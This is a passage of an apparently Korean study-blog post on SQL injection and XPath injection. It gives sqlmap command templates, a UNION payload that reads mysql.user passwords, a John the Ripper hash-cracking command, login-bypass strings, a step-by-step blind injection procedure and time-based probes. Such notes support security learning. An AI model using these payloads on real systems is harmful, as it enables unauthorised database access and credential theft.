 - 'NULL, \n, \r, \, ', ", ^Z' 앞에 백슬래시(\)를 추가


* 비밀번호 평문 변환

 1. John the Ripper 도구

 - SQL 인젝션의 결과로 얻은 비밀번호 해시 값을 텍스트로 저장

 - john --format:raw-sha1 [해시값이 저장된 텍스트명]

2. 웹 사이트 이용

 - http://station.net


* SQLmap 명령어 예시

sqlmap -u "공격 URL" --cookie="쿠키" --data "인젝션 시도할 변수들" -p "그 중 인젝션 시도할 변수" (-D DB지정 -T 테이블지정 -C 확인하고자하는칼럼들 --dump) [①--DBs / ②--tables / ③--columns / ④--current_user / ⑤--is-dba / ⑥--privilege / ⑦--password]

① 데이터베이스 내용 확인

② 모든 데이터베이스의 테이블명 확인

③ 현재 데이터베이스의 테이블에 있는 칼럼 명 출력

④ DBMS에 접속 중인 현재 사용자

⑤ 현재 사용자가 DBA인지? (데이터베이스 관리자인지?)

⑥ 사용자들의 권한 확인

⑦ 사전공격을 통한 패스워드 크랙

--dump : 확인하려 했던 칼럼들의 내용 출력명령


* 기본 제공해주는 mysql 데이터베이스의 user 테이블 이용

0 union select null,host,user,password,null,null,null FROM mysql.user


* AND 연산으로 로그인을 구현할 경우 우회가 굉장히 쉽다.

 ex) $sql = "select * from heroes where login = '" . $login . "' AND password = '" . $password . "'";

 - 로그인 구현 소스코드가 위와 같을 경우 사용자명만 알고 있다면 해당 사용자로 로그인이 가능하다.

 - rootable' or 'a'='b 라고 적어주면 rootable로 로그인 가능

 - login='rootable' OR 'a'='b' AND password='?' 일 때 AND 연산자가 OR 연산자보다 우선순위가 높다. 따라서 true OR false AND false -> true or false -> true 가 되는 것이다.


7. Blind SQL 인젝션

 - 쿼리의 결과를 참과 거짓으로만 출력하는 페이지에서 사용하는 공격

 - 데이터베이스의 내용을 추측하며 쿼리를 조작

 - 사용하는 함수 : substr, ascii, limit, length

* substr 함수 = 첫 번째 인자로 받은 문자열을 지정한 길이만큼 출력

 - 주로 문자 하나씩 출력하여 이름을 알아내는데 사용

 - substr(database(),1,1) = 데이터베이스 이름의 첫번째 문자 (index가 1부터 시작)

* ascii 함수 = 문자를 아스키코드로 변환

 - 필터링 된 것을 우회하기 위해 사용

* limit 함수 = 원하는 순서의 것을 원하는 만큼 가져올 수 있음

 - limit 0,1 = 첫 번째꺼 하나 반환 (index가 0부터 시작)

* length 함수 = 문자열의 길이 반환

- 문자열의 길이를 알아내면 substr 함수로 문자열을 추측하기 쉬워짐

 - select의 결과에 대해 length를 하려면 length((select .... )) 식으로 두번 묶어줘야 한다. (select의 결과를 ( )를 통해 하나로 묶어주는 것)


* blind SQL 인젝션에 사용할 쿼리 = 항상 참이 되는 쿼리 + 정보를 추출할 쿼리


* 인젝션할 때는 추측할 대상의 길이 값부터 파악한 뒤 글자 하나씩 추측


* blind sql injection 순서

1. '를 넣어봄으로써 오류가 뜨는지(뜬다면 취약점), 뜬다면 DB 서버와 버전 정보 등을 알아본다. (만약 결과가 하나로만 나와서 취약점이 존재하는지 파악하기 힘들다면 sleep 함수를 통해 공격이 된건지 확인해본다 -> 결과가 늦게 뜬다면 취약한 것!)

2. 참과 거짓일 때의 반응을 확인한다.

3. length와 select, limit을 통해 원하는 것의 길이를 구한 뒤 ascii, substr, select, limit을 통해 하나씩 무슨 글자인지 알아낸다.

4. 찾는 순서 = 테이블명(information_schema 이용) -> 컬럼명(information_schema 이용) -> 데이터( ex)select 칼럼 from 테이블 limit 0,1)


* 취약한지 확인하는 방법들

1. '를 넣어 오류가 뜨는가?

2. ' or 1=1# 또는 ' or 1=1--을 했을 때 정상처리되는가? (Boolean SQL)

3. ' or 'a'='a 했을 때 정상처리 되는가? (Boolean Based SQL)

4. ' or sleep(3) and 'a'='a했을 때 정상처리 되는가? (Time Based SQL)


common password suffixes = 비밀번호 정책상 반드시 입력해야 하는 특수문자나 숫자를 포함하여 사전 공격하는 것


8. XML/Xpath 인젝션

 = XML 구조에 악의적인 행위를 일으키는 내용을 삽입하거나 Xpath를 조작하여 XML의 내용을 노출하는 취약점

 * XML : 데이터를 트리 구조의 노드로 표현하며 사용자 정의로 데이터를 분류

 * Xpath : 일종의 쿼리로, XML 데이터베이스 내용을 선택하고 조작하기 위하여 사용

명령어 

설명 

 / 

 최상위 노드 

 // 

 현재 노드로부터 모든 노드 조회 

 * 

 모든 노드 조회 

 . 

 현재 노드 

 .. 

 현재 상위 노드 접근 

 parent 

 현재 노드의 부모 노드 

 child 

 현재 노드의 자식 노드 

 [ ] 

 조건문 

 node() 

 현재 노드로부터 모든 노드 조회 


* AND 연산은 OR 연산보다 우선하기 때문에 항상 OR 연산과 함께 참이 되는 쿼리를 입력하면 AND 연산 결과에 상관없이 항상 결과는 참이 된다.


 함수 

 설명 

 count()

 노드의 개수 반환 

 name()

 인자에 입력된 노드명을 출력 

 string-lenth()

 인자로 받은 문자열의 길이 반환 

 substring(문자열, 시작, 끝)

 문자열 잘라내는 함수 (index는 1부터 시작) 

 position()

 MySQL에서 limit 연산자와 같은 기능 (index 1부터 ) 

 string()

 문자열 반환 <- 값 확인 시 사용 


* XML 데이터베이스에서 사용자 정의로 같은 속성을 지닌 노드들은 모두 노드 명이 동일하다.


* XML을 호출할 때는 중간에 주석 문자를 입력하지 못하므로 정상 쿼리의 나머지 부분도 문법 오류가 발생하지 않게 쿼리를 입력

* ' //* '쿼리는 현재 노드로부터 모든 노드를 조회하는 Xpath 쿼리

반응형
블로그 이미지

rootable

,